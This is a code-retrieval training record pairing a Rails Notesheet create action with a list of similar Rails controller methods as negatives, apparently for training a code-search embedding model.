def create @notesheet = Notesheet.new(notesheet_params) respond_to do |format| if @notesheet.save if !@notesheet.notepic.url path = "#{@notesheet.title}-#{@notesheet.id}.txt" File.open(path, "w+") do |f| f.write(@notesheet.content) @notesheet.notepic = f end @notesheet.save! end format.html { redirect_to @notesheet, notice: 'Notesheet was successfully created.' } format.json { render :show, status: :created, location: @notesheet } else format.html { render :new } format.json { render json: @notesheet.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def notesheet_params\n params.require(:notesheet).permit(:content, :title, :course_id, :user_id, :date_created, :notepic, :notepic_cache)\n end", "def index\n @notesheets = Notesheet.all\n end", "def set_notesheet\n @notesheet = Notesheet.find(params[:id])\n\n end", "def create\n ticsheet_params[\"key_code\"].count.times do |index|\n Ticsheet.create(key_code: ticsheet_params['key_code'][index], description: ticsheet_params['description'][index], uom: ticsheet_params['uom'][index], percentage: ticsheet_params['percentage'][index], quantity: ticsheet_params['quantity'][index])\n end\n respond_to do |format|\n # if @ticsheet.save\n format.html { redirect_to @ticsheet, notice: 'Ticsheet was successfully created.' }\n format.json { render :show, status: :created, location: @ticsheet }\n # else\n # format.html { render :new }\n # format.json { render json: @ticsheet.errors, status: :unprocessable_entity }\n # end\n end\n end", "def create_notes\n end", "def update\n respond_to do |format|\n if @notesheet.update(notesheet_params)\n format.html { redirect_to @notesheet, notice: 'Notesheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @notesheet }\n else\n format.html { render :edit }\n format.json { render json: @notesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @notebook_note = Notebook::Note.new(notebook_note_params)\n\n respond_to do |format|\n if @notebook_note.save\n format.html { redirect_to @notebook_note, notice: 'Note was successfully created.' }\n format.json { render action: 'show', status: :created, location: @notebook_note }\n else\n format.html { render action: 'new' }\n format.json { render json: @notebook_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @notebook = Notebook.new(params[:notebook])\n\n if @notebook.save\n render json: @notebook, status: :created, location: @notebook\n else\n render json: @notebook.errors, status: :unprocessable_entity\n end\n end", "def create\n @note_book = NoteBook.new(note_book_params)\n\n respond_to do |format|\n if @note_book.save\n format.html { redirect_to @note_book, notice: 'Note book was successfully created.' }\n format.json { render :show, status: :created, location: @note_book }\n else\n format.html { render :new }\n format.json { render json: @note_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @note = @current_user.notes.create(note_params)\n render json: @note\n end", "def destroy\n @notesheet.destroy\n respond_to do |format|\n format.html { redirect_to notesheets_url, notice: 'Notesheet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @note = Note.new(note_params)\n if @note.save\n render json: @note, status: :created, location: note_url(@note)\n else\n render json: @note.errors, status: :unprocessable_entity\n end\n end", "def create\n @note = Note.new(note_params)\n if @note.save\n render json: @note, status: :created, location: @note\n else\n render json: @note.errors, status: :unprocessable_entity\n end\n\n end", "def create\n @notes_list = @note.notes_lists.new(notes_list_params)\n respond_to do |format|\n if @notes_list.save\n format.html { redirect_to @note, notice: 'Notes list was successfully created.' }\n format.json { render :show, status: :created, location: @notes_list }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sheet = Sheet.new(params[:sheet])\n\n respond_to do |format|\n if @sheet.save\n format.html { redirect_to @sheet, :notice => 'Sheet was successfully created.' }\n format.json { render :json => @sheet, :status => :created, :location => @sheet }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sheet.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@newEntry = Note.create(title: params[:title], entry: params[:entry], topic: params[:topic])\n\t\t@allNotes = Note.all\n\t\trender json: @allNotes\n\tend", "def create\n @sticky_note = StickyNote.new(params[:sticky_note])\n\n respond_to do |format|\n if @sticky_note.save\n format.html { redirect_to @sticky_note, notice: 'Sticky note was successfully created.' }\n format.json { render json: @sticky_note, status: :created, location: @sticky_note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sticky_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sheet = Sheet.new(params[:sheet])\n\n respond_to do |format|\n if @sheet.save\n format.html { redirect_to @sheet, notice: 'Sheet was successfully created.' }\n format.json { render json: @sheet, status: :created, location: @sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @job_sheet = JobSheet.new(params[:job_sheet])\n\n respond_to do |format|\n if @job_sheet.save\n format.html { redirect_to @job_sheet, notice: 'Job sheet was successfully created.' }\n format.json { render json: @job_sheet, status: :created, location: @job_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @lecture_note = LectureNote.new(params[:lecture_note])\n\n respond_to do |format|\n if @lecture_note.save\n format.html { redirect_to @lecture_note, notice: 'Lecture note was successfully created.' }\n format.json { render json: @lecture_note, status: :created, location: @lecture_note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lecture_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sticky_note = StickyNote.new(sticky_note_params)\n\n respond_to do |format|\n if @sticky_note.save\n format.html { redirect_to @sticky_note, notice: 'Sticky note was successfully created.' }\n format.json { render :show, status: :created, location: @sticky_note }\n else\n format.html { render :new }\n format.json { render json: @sticky_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dossier = Dossier.new(dossier_params)\n @dossier.sheets.new(template: 'summary')\n respond_to do |format|\n if @dossier.save\n format.html { redirect_to @dossier, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @dossier }\n else\n format.html { render :new }\n format.json { render json: @dossier.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @worksheet = Worksheet.new(params[:worksheet])\n\n respond_to do |format|\n if @worksheet.save\n format.html { redirect_to @worksheet, notice: 'Worksheet was successfully created.' }\n format.json { render json: @worksheet, status: :created, location: @worksheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @worksheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @time_sheet = TimeSheet.new(params[:time_sheet])\n\n respond_to do |format|\n if @time_sheet.save\n format.html { redirect_to @time_sheet, notice: 'Time sheet was successfully created.' }\n format.json { render json: @time_sheet, status: :created, location: @time_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @note_features = request.parameters['_json'].map do |n|\n note = NoteFeature.new(n)\n note.save\n end\n # @note_features.each(&:save)\n render json: @note_features\n end", "def create\n @mission_sheet = MissionSheet.new(params[:mission_sheet])\n\n respond_to do |format|\n if @mission_sheet.save\n format.html { redirect_to @mission_sheet, notice: 'Mission sheet was successfully created.' }\n format.json { render json: @mission_sheet, status: :created, location: @mission_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mission_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timesheet = Timesheet.new(timesheet_params)\n\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to timesheets_url, notice: 'Timesheet was successfully created.' }\n format.json { render :show, status: :created, location: @timesheet }\n else\n format.html { redirect_to timesheets_url }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @notebook = Notebook.find(params[:notebook_id])\n @note = Note.new(note_params)\n @note.notebook_id = @notebook.id\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @notebook, notice: 'Note was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @treatment_note = @treatment.treatment_notes.new(treatment_note_params)\n\n respond_to do |format|\n if @treatment_note.save\n format.html { redirect_to @treatment_note, notice: 'Treatment note was successfully created.' }\n format.json { render :show, status: :created }\n else\n format.html { render :new }\n format.json { render json: @treatment_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @evaluation_sheet = EvaluationSheet.new(params[:evaluation_sheet])\n\n respond_to do |format|\n if @evaluation_sheet.save\n format.html { redirect_to @evaluation_sheet, notice: 'Evaluation sheet was successfully created.' }\n format.json { render json: @evaluation_sheet, status: :created, location: @evaluation_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @evaluation_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @time_sheet = TimeSheet.new(time_sheet_params)\n\n respond_to do |format|\n if @time_sheet.save\n format.html { redirect_to @time_sheet, notice: 'Time sheet was successfully created.' }\n format.json { render :show, status: :created, location: @time_sheet }\n else\n format.html { render :new }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sr_note = SrNote.new(sr_note_params)\n\n respond_to do |format|\n if @sr_note.save\n format.html { redirect_to @sr_note, notice: 'Sr note was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sr_note }\n else\n format.html { render action: 'new' }\n format.json { render json: @sr_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n exercise = Exercise.create(exercise_params)\n if exercise\n render json: exercise\n else\n render json: {error: 'Workout was not created.'}\n end\n end", "def create\n @model_workout_sheet = ModelWorkoutSheet.new(model_workout_sheet_params)\n\n respond_to do |format|\n if @model_workout_sheet.save\n format.html { redirect_to @model_workout_sheet, notice: 'Model workout sheet was successfully created.' }\n format.json { render action: 'show', status: :created, location: @model_workout_sheet }\n else\n format.html { render action: 'new' }\n format.json { render json: @model_workout_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timesheet = Timesheet.new(timesheet_params)\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_timesheet_url(@timesheet) }\n else\n format.html { render :new }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @project_note = ProjectNote.new(project_note_params(params[:project_note]))\n\n if @project_note.save\n render json: @project_note, status: :created, location: @project_note\n else\n render json: @project_note.errors, status: :unprocessable_entity\n end\n end", "def create\n respond_to do |format|\n if @tips_trick.save\n format.html { redirect_to @tips_trick, notice: 'Tips trick was successfully created.' }\n format.json { render json: @tips_trick, status: :created, location: @tips_trick }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tips_trick.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n @note = Note.new(params_as_note_attributes_hash)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to(@note, :notice => 'Note was successfully created.') }\n format.json { render :json => @note, :status => :created, :location => @note }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @note.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n respond_with :api, :v1, Note.create(note_params)\n end", "def create\n @note = Note.new(params[:note])\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render json: @note, status: :created, location: @note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @task_note = Note.new(params[:note])\n\n respond_to do |format|\n if @task_note.save\n format.html { redirect_to notes_path, notice: 'Task note was successfully created.' }\n format.json { render json: @task_note, status: :created, location: @task_note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # save any footnotes associated with the data.\n # see application controller for this method\n\tfootnotes = get_footnotes_from_params(params)\n\tFootnote.remove_entries(params[:study_id],\"results\")\n\tFootnoteField.remove_entries(params[:study_id],\"results\")\n\tunless footnotes.empty?\n\t \tfootnotes.each do |fnote|\n\t \t\tmynote = Footnote.new(fnote)\n\t \t\tmynote.save\n\t\tend\n\tend \n \tOutcomeResult.save_data_points(params, params[:study_id])\n\t@message_div = \"saved_item_indicator\"\n\trender 'shared/saved.js.erb'\n end", "def create\n @history_study = HistoryStudy.new(params[:history_study])\n\n respond_to do |format|\n if @history_study.save\n format.html { redirect_to @history_study, notice: 'History study was successfully created.' }\n format.json { render json: @history_study, status: :created, location: @history_study }\n else\n format.html { render action: \"new\" }\n format.json { render json: @history_study.errors, status: :unprocessable_entity }\n end\n end\n end", "def note_params\n params.require(:note).permit(:notes_data_type, :notes_data_id, :notes_text, :employee_id, :status)\n end", "def create\n respond_to do |format|\n if @employer_study.save\n format.html { redirect_to @employer_study, notice: t2('create.notice') }\n format.json { render json: @employer_study, status: :created, location: @employer_study }\n else\n format.html { render action: \"new\" }\n format.json { render json: @employer_study.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n progress_note = ProgressNote.new(progress_note_params)\n\n if progress_note.save\n render json: serialize_progress_note(progress_note)\n else\n render json: { errors: progress_note.errors.full_messages }, status: 422\n end\n end", "def add_notes\n \tNote.create!(content: params[:body], user_id: params[:user_id], email_conversation_id: params[:email_conversation_id])\n \tredirect_to chat_history_path(lead_id: params[:lead_id])\n end", "def create\n puts \"within create method of wells_fargo_srp_sheets with params: #{wells_fargo_srp_sheet_params.inspect}\"\n @wells_fargo_srp_sheet = WellsFargoSrpSheet.new(wells_fargo_srp_sheet_params)\n\n respond_to do |format|\n puts \"the format is:#{format}\"\n puts 'about to save'\n begin\n if @wells_fargo_srp_sheet.save\n format.html { redirect_to @wells_fargo_srp_sheet, notice: 'Wells fargo srp sheet was successfully created.' }\n format.json { render :show, status: :created, location: @wells_fargo_srp_sheet }\n else\n format.html { render :new }\n format.json { render json: @wells_fargo_srp_sheet.errors, status: :unprocessable_entity }\n end\n rescue Exception=>ex\n puts \"Exception in create controller method:#{ex.message}\"\n puts ex.backtrace\n end\n end\n end", "def create\n @note = Note.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @note = Note.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @route_sheet = RouteSheet.new(params[:route_sheet])\n\n respond_to do |format|\n if @route_sheet.save\n format.html { redirect_to @route_sheet, notice: 'route_sheet was successfully created.' }\n format.json { render json: @route_sheet, status: :created, location: @route_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @route_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @food_note = FoodNote.new(food_note_params)\n\n respond_to do |format|\n if @food_note.save\n format.html { redirect_to @food_note, notice: \"Food note was successfully created.\" }\n format.json { render :show, status: :created, location: @food_note }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @food_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @worksheet = Worksheet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @worksheet }\n end\n end", "def create\n @character_sheet = CharacterSheet.new(params[:character_sheet])\n\n respond_to do |format|\n if @character_sheet.save\n format.html { redirect_to @character_sheet, notice: 'Character sheet was successfully created.' }\n format.json { render json: @character_sheet, status: :created, location: @character_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @character_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @sheet0 = Sheet0.new(params[:sheet0])\n\n respond_to do |format|\n if @sheet0.save\n format.html { redirect_to @sheet0, notice: 'Sheet0 was successfully created.' }\n format.json { render json: @sheet0, status: :created, location: @sheet0 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sheet0.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # ignore draft_key param for now\n safe_params = params.require(:event_note).permit(\n :student_id,\n :event_note_type_id,\n :text,\n :is_restricted,\n event_note_attachments_attributes: [:url]\n )\n authorized_or_raise! { Student.find(safe_params[:student_id]) }\n\n event_note = EventNote.new(safe_params.merge({\n is_restricted: safe_is_restricted_value(safe_params[:is_restricted]),\n educator_id: current_educator.id,\n recorded_at: Time.now\n }))\n\n if event_note.save\n serializer = EventNoteSerializer.dangerously_include_restricted_text(event_note)\n render json: serializer.serialize_event_note\n else\n render json: { errors: event_note.errors.full_messages }, status: 422\n end\n end", "def create\n @note = Note.new(:content => params[:content], :user => current_user)\n print(\"json note \"+ @note.to_json)\n if @note.save\n render :show, status: :created, location: @note\n else\n render json: @note.errors, status: :unprocessable_entity\n end\n end", "def create\n @note = Note.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render action: 'show', status: :created, location: @note }\n else\n format.html { render action: 'new' }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @note = Note.new(params[:note])\n @note.serial_no = Note.next_serial_no\n @note.year_at = Date.current.year\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Документ успешно создан.' }\n format.json { render json: @note, status: :created, location: @note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def base_file_create\n course = notey_notey_params['course']\n file = notey_notey_params['file']\n data = notey_notey_params['data']\n\n uri = \"/notebooks/#{course}_#{file}\"\n File.open(uri, 'wb') do |f|\n f.write(data)\n end\n render json: { result: true }\n end", "def create\n \n if get_case\n @note = @case.notes.build(note_params)\n path_notes = case_notes_path\n else\n @note = Note.new(note_params)\n path_notes = notes_path\n end\n\n @note.user = @user\n @note.firm = @firm\n \n respond_to do |format|\n if @note.save\n format.html { redirect_to path_notes, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @notebook = current_user.notebooks.find(params[:notebook_id])\n @page = @notebook.pages.find(params[:page_id])\n\n @page.paragraphs.create\n redirect_to notebook_page_path(@notebook, @page)\n end", "def create\n teacher_exclusive\n @note = Note.create(note: params[:note], teacher_id: @current_user.id, student_id: params[:student_id], subject_id: params[:subject_id], test_id: params[:test_id])\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to test_grade_path(params[:test_id]), notice: 'La note a été insérée' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html {redirect_to test_grade_path(params[:test_id]) }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @word_note = WordNote.new(params[:word_note])\n\n respond_to do |format|\n if @word_note.save\n format.html { redirect_to @word_note, notice: 'Word note was successfully created.' }\n format.json { render json: @word_note, status: :created, location: @word_note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @word_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @notebook = current_user.notebooks.build(params[:notebook])\n \n respond_to do |format|\n if @notebook.save\n format.html { redirect_to @notebook, notice: 'Notebook was successfully created.' }\n format.json { render json: @notebook, status: :created, location: @notebook }\n else\n format.html { render action: \"new\" }\n format.json { render json: @notebook.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @performed_exercise = PerformedExercise.new(performed_exercise_params)\n\n respond_to do |format|\n if @performed_exercise.save\n format.html { redirect_to @performed_exercise, notice: 'Performed exercise was successfully created.' }\n format.json { render :show, status: :created, location: @performed_exercise }\n else\n format.html { render :new }\n format.json { render json: @performed_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timesheet = current_user.timesheets.new(params[:timesheet])\n\n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully created.' }\n format.json { render json: @timesheet, status: :created, location: @timesheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(params, answer_sheet)\n questions_indexed = @questions.index_by(&:id)\n\n # loop over form values\n params ||= {}\n params.each do |question_id, response|\n next if questions_indexed[question_id.to_i].nil? # the rare case where a question was removed after the app was opened.\n # update each question with the posted response\n questions_indexed[question_id.to_i].set_response(posted_values(response), answer_sheet)\n end\n end", "def formula_note_params\n params.require(:formula_note).permit(:formula_id, :note)\n end", "def new\n @sheet = Sheet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sheet }\n end\n end", "def create\n @time_management_sheet = TimeManagementSheet.new(time_management_sheet_params)\n\n respond_to do |format|\n if @time_management_sheet.save\n format.html { redirect_to @time_management_sheet, notice: 'Time management sheet was successfully created.' }\n format.json { render :show, status: :created, location: @time_management_sheet }\n else\n format.html { render :new }\n format.json { render json: @time_management_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @to_do_note = ToDoNote.new(to_do_note_params)\n\n respond_to do |format|\n if @to_do_note.save\n format.html { redirect_to @to_do_note, notice: 'To do note was successfully created.' }\n format.json { render :show, status: :created, location: @to_do_note }\n else\n format.html { render :new }\n format.json { render json: @to_do_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @patient_exercise = PatientExercise.new(params[:patient_exercise])\n\n respond_to do |format|\n if @patient_exercise.save\n format.html { redirect_to @patient_exercise, notice: 'Patient exercise was successfully created.' }\n format.json { render json: @patient_exercise, status: :created, location: @patient_exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @patient_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exercise = @workout.exercises.new(exercise_params)\n\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: I18n.t('exercises.created') }\n format.json { render :show, status: :created, location: @exercise }\n else\n format.html { render :new }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @note = Note.new(params[:note])\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to house_path(@note.house_id), notice: 'Note was successfully created.' }\n format.json { render json: @note, status: :created, location: @note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def adding_notes\n unless params[:student_ids].empty?\n @students = Student.where(id: params[:student_ids])\n @students.each do |s|\n s.add_note(params[:notes])\n end\n message = {message: @students.size.to_s + ' students have had their notes updated.'}\n else\n message = {message: 'No student ids were received.'}\n end\n render json: message\n end", "def create\n @exercise_set = ExerciseSet.new(params[:exercise_set])\n\n respond_to do |format|\n if @exercise_set.save\n format.html { redirect_to @exercise_set, notice: 'Exercise set was successfully created.' }\n format.json { render json: @exercise_set, status: :created, location: @exercise_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @note = current_user.notes.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to @note, notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @sheet = Sheet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sheet }\n end\n end", "def create\n respond_to do |format|\n if @other_study.save\n format.html { redirect_to @other_study, notice: t2('create.notice') }\n format.json { render json: @other_study, status: :created, location: @other_study }\n else\n format.html { render action: \"new\" }\n format.json { render json: @other_study.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bookwork = Bookwork.new(params[:bookwork])\n\n respond_to do |format|\n if @bookwork.save\n format.html { redirect_to @bookwork, notice: 'Bookwork was successfully created.' }\n format.json { render json: @bookwork, status: :created, location: @bookwork }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bookwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @textbook = Textbook.new(textbook_params)\n\n respond_to do |format|\n if @textbook.save\n format.html { redirect_to @textbook, notice: 'Textbook was successfully created.' }\n format.json { render :show, status: :created, location: @textbook }\n else\n format.html { render :new }\n format.json { render json: @textbook.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @note = current_user.notes.new(params[:note])\n @note.note = view_context.markdown(@note.note).gsub(\"\\n\",\"\").gsub(\"\\r\",\"\")\n @note.save\n $statsd.increment 'animal.note.created'\n respond_with(@note)\n end", "def create\n @question_sheet = Fe::QuestionSheet.new_with_page\n\n respond_to do |format|\n if @question_sheet.save\n format.html { redirect_to fe_admin_question_sheet_path(@question_sheet) }\n format.xml { head :created, :location => admin_question_sheet_path(@question_sheet) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question_sheet.errors.to_xml }\n end\n end\n end", "def create\n @textnote = Textnote.new(textnote_params)\n\n respond_to do |format|\n if @textnote.save\n format.html { redirect_to current_user, notice: 'Textnote was successfully created.' }\n format.json { render :show, status: :created, location: @textnote }\n else\n format.html { render :new }\n format.json { render json: current_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @project_note = ProjectNote.new(project_note_params)\n\n respond_to do |format|\n if @project_note.save\n format.html { redirect_to @project_note, notice: 'Project note was successfully created.' }\n format.json { render :show, status: :created, location: @project_note }\n else\n format.html { render :new }\n format.json { render json: @project_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n workout = Workout.find params[:workout_id]\n result = Question.create(workout, { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n @question = result[:question]\n\n respond_to do |format|\n unless @question.persisted?\n format.json { render :json => @question.errors.full_messages, :status => :unprocessable_entity }\n else\n format.json { render :json => @question.as_json({:include => :answers}) }\n end\n \n end\n\n end", "def index\n @note = Note.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end", "def create\n o = Designation.new(:title => params[:title], :desc => params[:desc], \n :note => params[:note])\n \n if o.save\n render :json => { :success => 1, \n :message => 'Job Title was successfully added.' }\n \n else\n render :json => DesignationHelper.get_errors(o.errors)\n end\n end", "def create\n @ticket.save\n\n respond_with(@story, @ticket)\n end", "def create\n @note = Note.new(note_params)\n\n respond_to do |format|\n if @note.save\n format.html { redirect_to course_notes_path(params[:course_id]), notice: 'Note was successfully created.' }\n format.json { render :show, status: :created, location: @note }\n else\n format.html { render :new }\n format.json { render json: @note.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @notes = Note.all\n render json: @notes\n end", "def post_lesson(lesson, homework, date, period)\n response = @mech.post(URLS[:post_lesson], {\n userId: @user_id,\n date: date.strftime(\"%m/%d/%Y\"),\n period: period,\n notes: lesson,\n homework: homework\n })\n return response\n end", "def create\n @event_note = EventNote.new(event_note_params)\n\n respond_to do |format|\n if @event_note.save\n format.html { redirect_to @event_note, notice: 'Event note was successfully created.' }\n format.json { render :show, status: :created, location: @event_note }\n else\n format.html { render :new }\n format.json { render json: @event_note.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @inspection = Inspection.new(inspection_params)\n @clients = @inspection.try(:appointment).try(:insp_request).try(:property).try(:clients)\n create_documents\n respond_to do |format|\n if @inspection.save\n format.html { redirect_to @inspection, notice: 'Inspection was successfully created.' }\n format.json { render json: @inspection }\n else\n format.html { render :new }\n format.json { render json: @inspection.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n params[:timesheet].each do |key,value|\n Timesheet.create(:project_id => value[:project_id],:description => value[:description],:hours => value[:hours])\n end\n redirect_to \"/timesheets\",notice: \"Timesheet created successfully\" \n end", "def create\n @score_sheet = ScoreSheet.new(params[:score_sheet])\n\n respond_to do |format|\n if @score_sheet.save\n format.html { redirect_to @score_sheet, notice: 'Score sheet was successfully created.' }\n format.json { render json: @score_sheet, status: :created, location: @score_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @score_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_new_note\n note_type = params[:note_type][:note_type_id]\n new_note = keytech_note_handler.create(note_type, params[:element_key])\n new_note.subject = params[:subject]\n new_note.text = params[:body]\n response = keytech_note_handler.save(new_note)\n if response[:success] == true\n flash[:info] = 'Notiz wurde angelegt'\n else\n flash[:error] = \"Notiz konnte nicht angelegt werden: #{response[:error]}\"\n end\n redirect_to \"/element/#{params[:element_key]}/notes\"\n end", "def create\n\t\t# Create the note for that particular case\n\t\tcase_note = @case.case_notes.new(case_note_params)\n\t\tcase_note.user_id = current_user.id\n\n\t\tif case_note.save\n \t# response to the JSON\n \trender json: { success: true,message: \"Case Note Successfully Created.\", response: CaseNoteSerializer.new(case_note).as_json(root: false) },:status=>200\n\t else\n\t render :json=> { success: false, message: case_note.errors },:status=> 203\n\t end\n\tend", "def create\n @questionnaire_template = QuestionnaireTemplate.new(questionnaire_template_params)\n\n respond_to do |format|\n if @questionnaire_template.save\n format.html { redirect_to @questionnaire_template, notice: 'questionnaire template was successfully created.' }\n format.json { render :show, status: :created, location: @questionnaire_template }\n else\n format.html { render :new }\n format.json { render json: @questionnaire_template.errors, status: :unprocessable_entity }\n end\n end\n end" ]
